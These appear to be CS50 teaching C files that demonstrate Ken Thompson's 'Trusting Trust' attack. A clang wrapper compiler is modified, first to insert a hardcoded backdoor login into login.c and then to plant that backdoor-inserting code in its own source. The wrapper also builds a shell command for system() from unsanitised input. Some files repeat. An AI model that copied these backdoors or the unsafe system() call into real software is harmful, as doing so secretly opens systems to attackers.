```c
#include <stdio.h>

void divide(int a, int b)
{
    if (b == 0)
    {
        if (a == 0)
        {
            printf("Undefined\n");
        }
        else
        {
            printf("Infinity\n");
        }
    }
    else
    {
        printf("%d\n", a / b);
    }
}

int main(void)
{
    divide(13, 4);
    divide(0, 0);
    divide(1, 0);
}
```

```c
/*****************************************************************************
 * compile.c
 *
 * Rob Bowden
 * rob@cs.harvard.edu
 *
 * Some hackish functions for compiling an in-memory buffer
 *****************************************************************************/

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>

#include "compile.h"

/**
 * pass an in-memory buffer to clang for compilation
 *
 * argv[2] through argv[argc - 1] are the flags passed to clang
 *
 */
void compile(char *buffer, int argc, char* argv[])
{
    // this function constructs a call to "clang" that
    // will compile our in-memory buffer

    // first, we calculate the length of the compilation command
    // we'll be running

    // the length of our buffer
    int length = strlen(buffer);

    // plus the length of all the arguments (and spaces)
    for (int i = 2; i < argc; i++)
        length += strlen(argv[i]) + 1;

    // plus the length of the commands we're going to be running
    // to pass this buffer to clang, plus the null terminator
    length += strlen("echo '' | clang -xc -") + 1;

    // because we are running "echo" with single quotes, we need
    // to escape any single quotes inside of our buffer.
    // but it takes 4 characters to escape a single quote, so
    // cautiously allocatee 4 times as much space as we might need
    char new_buffer[length * 4];
```

```c

    // zero out the new_buffer
    for (int i = 0; i < length; i++)
        new_buffer[i] = 0;

    // our command starts out with an "echo '"
    strcat(new_buffer, "echo \'");

    int new_len = strlen(new_buffer);

    // now, iterate over our buffer, inserting each character into
    // our new_buffer, except for the ' character, which is replaced
    // with the 4-character sequence '\''
    for (int i = 0, len = strlen(buffer); i < len; i++) {
        if (buffer[i] == '\'') {
            new_buffer[new_len++] = '\'';
            new_buffer[new_len++] = '\\';
            new_buffer[new_len++] = '\'';
            new_buffer[new_len++] = '\'';
        }
        else
            new_buffer[new_len++] = buffer[i];
    }

    // pipe our new_buffer into clang
    strcat(new_buffer, "\' | clang -xc -");

    // append all of the command line arguments to our command
    for (int i = 2; i < argc; i++) {
        strcat(new_buffer, " ");
        strcat(new_buffer, argv[i]);
    }

    // run our command
    system(new_buffer);
}

/**
 * returns the size of a file, given the file's name
 *
 */
size_t get_size_of_file(char* filename)
{
    struct stat st;
    stat(filename, &st);
    return st.st_size;
}
```

```c
/*****************************************************************************
 * compile.h
 *
 * Rob Bowden
 * rob@cs.harvard.edu
 *
 * Declares the functions defined in compile.c
 *****************************************************************************/

#ifndef COMPILE_H
#define COMPILE_H

#include <sys/types.h>

void compile(char* buffer, int argc, char* argv[]);
size_t get_size_of_file(char* filename);

#endif
```

```c
/*****************************************************************************
 * compiler.c
 *
 * Rob Bowden
 * rob@cs.harvard.edu
 *
 * Compiles a C program
 *
 * If that C program happens to be "login", insert some code into it so we
 * can hack it.
 *
 * If that C program happens to be "compiler", insert some code into it
 * that handles the insertion of code into the "login" program.
 *****************************************************************************/

#include <stdio.h>
#include <string.h>
#include "compile.h"

int main(int argc, char* argv[])
{

    // check for proper usage
    if (argc < 2) {
        printf("Must specify a file to compile.\n");
        return 1;
    }

    // for our purposes, the "main" file that we might want to modify is
    // always the first argument
    char* file = argv[1];

    // read the entire file into a buffer
    int filesize = get_size_of_file(file);
    FILE* f = fopen(file, "r");
    char buffer[filesize + 1];
    fread(buffer, filesize, 1, f);

    // null-terminate the buffer
    buffer[filesize] = 0;

    // compile the file
    compile(buffer, argc, argv);
    return 0;
}
```

```c
/*****************************************************************************
 * login.c
 *
 * Rob Bowden
 * rob@cs.harvard.edu
 *
 * A silly program that validates a username and password combination
 *****************************************************************************/

#include <stdio.h>
#include <string.h>
#include <cs50.h>

int main(void)
{
    // get username
    printf("Please enter your username: ");
    char* username = GetString();
    if (username == NULL)
        return 1;

    // get password
    printf("Please enter your password: ");
    char* password = GetString();
    if (password == NULL)
        return 1;

    // check to see if the username/password combination
    // was valid
    if ((strcmp(username, "rob") == 0 && strcmp(password, "thisiscs50") == 0) ||
        (strcmp(username, "tommy") == 0 && strcmp(password, "i<3javascript") == 0))
    {
        printf("Success!! You now have access.\n");
    }

    // deny them access!
    else
    {
        printf("Invalid login.\n");
    }

    // free memory allocated by GetString
    free(username);
    free(password);

    // that's all folks!
    return 0;
}
```

```c
/*****************************************************************************
 * compile.c
 *
 * Rob Bowden
 * rob@cs.harvard.edu
 *
 * Some hackish functions for compiling an in-memory buffer
 *****************************************************************************/

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>

#include "compile.h"

/**
 * pass an in-memory buffer to clang for compilation
 *
 * argv[2] through argv[argc - 1] are the flags passed to clang
 *
 */
void compile(char *buffer, int argc, char* argv[])
{
    // this function constructs a call to "clang" that
    // will compile our in-memory buffer

    // first, we calculate the length of the compilation command
    // we'll be running

    // the length of our buffer
    int length = strlen(buffer);

    // plus the length of all the arguments (and spaces)
    for (int i = 2; i < argc; i++)
        length += strlen(argv[i]) + 1;

    // plus the length of the commands we're going to be running
    // to pass this buffer to clang, plus the null terminator
    length += strlen("echo '' | clang -xc -") + 1;

    // because we are running "echo" with single quotes, we need
    // to escape any single quotes inside of our buffer.
    // but it takes 4 characters to escape a single quote, so
    // cautiously allocatee 4 times as much space as we might need
    char new_buffer[length * 4];
```

```c

    // zero out the new_buffer
    for (int i = 0; i < length; i++)
        new_buffer[i] = 0;

    // our command starts out with an "echo '"
    strcat(new_buffer, "echo \'");

    int new_len = strlen(new_buffer);

    // now, iterate over our buffer, inserting each character into
    // our new_buffer, except for the ' character, which is replaced
    // with the 4-character sequence '\''
    for (int i = 0, len = strlen(buffer); i < len; i++) {
        if (buffer[i] == '\'') {
            new_buffer[new_len++] = '\'';
            new_buffer[new_len++] = '\\';
            new_buffer[new_len++] = '\'';
            new_buffer[new_len++] = '\'';
        }
        else
            new_buffer[new_len++] = buffer[i];
    }

    // pipe our new_buffer into clang
    strcat(new_buffer, "\' | clang -xc -");

    // append all of the command line arguments to our command
    for (int i = 2; i < argc; i++) {
        strcat(new_buffer, " ");
        strcat(new_buffer, argv[i]);
    }

    // run our command
    system(new_buffer);
}

/**
 * returns the size of a file, given the file's name
 *
 */
size_t get_size_of_file(char* filename)
{
    struct stat st;
    stat(filename, &st);
    return st.st_size;
}
```

```c
/*****************************************************************************
 * compile.h
 *
 * Rob Bowden
 * rob@cs.harvard.edu
 *
 * Declares the functions defined in compile.c
 *****************************************************************************/

#ifndef COMPILE_H
#define COMPILE_H

#include <sys/types.h>

void compile(char* buffer, int argc, char* argv[]);
size_t get_size_of_file(char* filename);

#endif
```

```c
/*****************************************************************************
 * compiler.c
 *
 * Rob Bowden
 * rob@cs.harvard.edu
 *
 * Compiles a C program
 *
 * If that C program happens to be "login", insert some code into it so we
 * can hack it.
 *
 * If that C program happens to be "compiler", insert some code into it
 * that handles the insertion of code into the "login" program.
 *****************************************************************************/

#include <stdio.h>
#include <string.h>
#include "compile.h"

int main(int argc, char* argv[])
{

    // check for proper usage
    if (argc < 2) {
        printf("Must specify a file to compile.\n");
        return 1;
    }

    // for our purposes, the "main" file that we might want to modify is
    // always the first argument
    char* file = argv[1];

    // read the entire file into a buffer
    int filesize = get_size_of_file(file);
    FILE* f = fopen(file, "r");
    char buffer[filesize + 1];
    fread(buffer, filesize, 1, f);

    // null-terminate the buffer
    buffer[filesize] = 0;

    // if we are compiling "login"
    if (strcmp(file, "login.c") == 0)
    {
        // the code we want to insert into login.c
        const char* hack = "\
           else if (strcmp(username, \"hacker\") == 0 &&\
                   strcmp(password, \"LOLihackyou\") == 0)\
```

```
            {\
                printf(\"Hacked!! You now have access.\\n\");\
            }";

        // we want to insert the above hack into our buffer, so make a new buffer
        // that's large enough to hold the original program plus the hack
        int new_filesize = filesize + strlen(hack) + 1;
        char new_buffer[new_filesize];

        // null-terminate our new buffer
        new_buffer[new_filesize - 1] = 0;

        // copy the original program into our buffer
        memcpy(new_buffer, buffer, filesize);

        // iterate over the entire original file
        for (int i = 0; i < filesize; i++)
        {
            char* pattern = "// deny them access!";
            int pattern_len = strlen(pattern);

            // if we find the above pattern in the file, we want to insert our hack at
            // that position
            if (strncmp(pattern, new_buffer + i, pattern_len) == 0)
            {
                memmove(new_buffer + i + strlen(hack), new_buffer + i, filesize - i);
                memmove(new_buffer + i, hack, strlen(hack));
                break;
            }
        }

        // compile our new buffer (the original file + the hack)
        compile(new_buffer, argc, argv);
        return 0;
    }

    // compile the file
    compile(buffer, argc, argv);
    return 0;
}
```

```c
/*****************************************************************************
 * login.c
 *
 * Rob Bowden
 * rob@cs.harvard.edu
 *
 * A silly program that validates a username and password combination
 *****************************************************************************/

#include <stdio.h>
#include <string.h>
#include <cs50.h>

int main(void)
{
    // get username
    printf("Please enter your username: ");
    char* username = GetString();
    if (username == NULL)
        return 1;

    // get password
    printf("Please enter your password: ");
    char* password = GetString();
    if (password == NULL)
        return 1;

    // check to see if the username/password combination
    // was valid
    if ((strcmp(username, "rob") == 0 && strcmp(password, "thisiscs50") == 0) ||
        (strcmp(username, "tommy") == 0 && strcmp(password, "i<3javascript") == 0))
    {
        printf("Success!! You now have access.\n");
    }

    // deny them access!
    else
    {
        printf("Invalid login.\n");
    }

    // free memory allocated by GetString
    free(username);
    free(password);

    // that's all folks!
    return 0;
}
```

```c
/*****************************************************************************
 * compile.c
 *
 * Rob Bowden
 * rob@cs.harvard.edu
 *
 * Some hackish functions for compiling an in-memory buffer
 *****************************************************************************/

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>

#include "compile.h"

/**
 * pass an in-memory buffer to clang for compilation
 *
 * argv[2] through argv[argc - 1] are the flags passed to clang
 *
 */
void compile(char *buffer, int argc, char* argv[])
{
    // this function constructs a call to "clang" that
    // will compile our in-memory buffer

    // first, we calculate the length of the compilation command
    // we'll be running

    // the length of our buffer
    int length = strlen(buffer);

    // plus the length of all the arguments (and spaces)
    for (int i = 2; i < argc; i++)
        length += strlen(argv[i]) + 1;

    // plus the length of the commands we're going to be running
    // to pass this buffer to clang, plus the null terminator
    length += strlen("echo '' | clang -xc -") + 1;

    // because we are running "echo" with single quotes, we need
    // to escape any single quotes inside of our buffer.
    // but it takes 4 characters to escape a single quote, so
    // cautiously allocatee 4 times as much space as we might need
    char new_buffer[length * 4];
```

```c

    // zero out the new_buffer
    for (int i = 0; i < length; i++)
        new_buffer[i] = 0;

    // our command starts out with an "echo '"
    strcat(new_buffer, "echo \'");

    int new_len = strlen(new_buffer);

    // now, iterate over our buffer, inserting each character into
    // our new_buffer, except for the ' character, which is replaced
    // with the 4-character sequence '\''
    for (int i = 0, len = strlen(buffer); i < len; i++) {
        if (buffer[i] == '\'') {
            new_buffer[new_len++] = '\'';
            new_buffer[new_len++] = '\\';
            new_buffer[new_len++] = '\'';
            new_buffer[new_len++] = '\'';
        }
        else
            new_buffer[new_len++] = buffer[i];
    }

    // pipe our new_buffer into clang
    strcat(new_buffer, "\' | clang -xc -");

    // append all of the command line arguments to our command
    for (int i = 2; i < argc; i++) {
        strcat(new_buffer, " ");
        strcat(new_buffer, argv[i]);
    }

    // run our command
    system(new_buffer);
}

/**
 * returns the size of a file, given the file's name
 *
 */
size_t get_size_of_file(char* filename)
{
    struct stat st;
    stat(filename, &st);
    return st.st_size;
}
```

```c
/*****************************************************************************
 * compile.h
 *
 * Rob Bowden
 * rob@cs.harvard.edu
 *
 * Declares the functions defined in compile.c
 *****************************************************************************/

#ifndef COMPILE_H
#define COMPILE_H

#include <sys/types.h>

void compile(char* buffer, int argc, char* argv[]);
size_t get_size_of_file(char* filename);

#endif
```

```c
/*****************************************************************************
 * compiler.c
 *
 * Rob Bowden
 * rob@cs.harvard.edu
 *
 * Compiles a C program
 *
 * If that C program happens to be "login", insert some code into it so we
 * can hack it.
 *
 * If that C program happens to be "compiler", insert some code into it
 * that handles the insertion of code into the "login" program.
 *****************************************************************************/

#include <stdio.h>
#include <string.h>
#include "compile.h"

int main(int argc, char* argv[])
{

    // check for proper usage
    if (argc < 2) {
        printf("Must specify a file to compile.\n");
        return 1;
    }

    // for our purposes, the "main" file that we might want to modify is
    // always the first argument
    char* file = argv[1];

    // read the entire file into a buffer
    int filesize = get_size_of_file(file);
    FILE* f = fopen(file, "r");
    char buffer[filesize + 1];
    fread(buffer, filesize, 1, f);

    // null-terminate the buffer
    buffer[filesize] = 0;

    // if we are compiling "compiler"
    if (strcmp(file, "compiler.c") == 0)
    {
        // the code we want to insert into our compiler so that it always
        // evilly compiles "login"
        const char* hack = "\
           if (strcmp(file, \"login.c\") == 0)\
```

```
            {\
                const char* hack = \"\
                    else if (strcmp(username, \\\"hacker\\\") == 0 &&\
                            strcmp(password, \\\"LOLihackyou\\\") == 0)\
                    {\
                        printf(\\\"Hacked!! You now have access.\\\\n\\\");\
                    }\";\
\
                int new_filesize = filesize + strlen(hack) + 1;\
                char new_buffer[new_filesize];\
                new_buffer[new_filesize - 1] = 0;\
\
                memcpy(new_buffer, buffer, filesize);\
                for (int i = 0; i < filesize; i++)\
                {\
                    char* pattern = \"// deny them access!\";\
                    int pattern_len = strlen(pattern);\
\
                    if (strncmp(pattern, new_buffer + i, pattern_len) == 0)\
                    {\
                        memmove(new_buffer + i + strlen(hack), new_buffer + i, filesize - i);\
                        memmove(new_buffer + i, hack, strlen(hack));\
                        break;\
                    }\
                }\
                compile(new_buffer, argc, argv);\
                return 0;\
            }\
        ";

        // we want to insert the above hack into our buffer, so make a new buffer
        // that's large enough to hold the original program plus the hack
        int new_filesize = filesize + strlen(hack) + 1;
        char new_buffer[new_filesize];

        // null-terminate our new buffer
        new_buffer[new_filesize - 1] = 0;

        // copy the original program into our buffer
        memcpy(new_buffer, buffer, filesize);

        // iterate over the entire original file
        for (int i = 0; i < filesize; i++)
        {
            char* pattern = "// compile the file";
            int pattern_len = strlen(pattern);

            // if we find the above pattern in the file, we want to insert our hack at
```

```
            // that position
            if (strncmp(pattern, new_buffer + i, pattern_len) == 0)
            {
                memmove(new_buffer + i + strlen(hack), new_buffer + i, filesize - i);
                memmove(new_buffer + i, hack, strlen(hack));
                break;
            }
        }

        // compile our new buffer (the original file + the hack)
        compile(new_buffer, argc, argv);
        return 0;
    }


    // compile the file
    compile(buffer, argc, argv);
    return 0;
}
```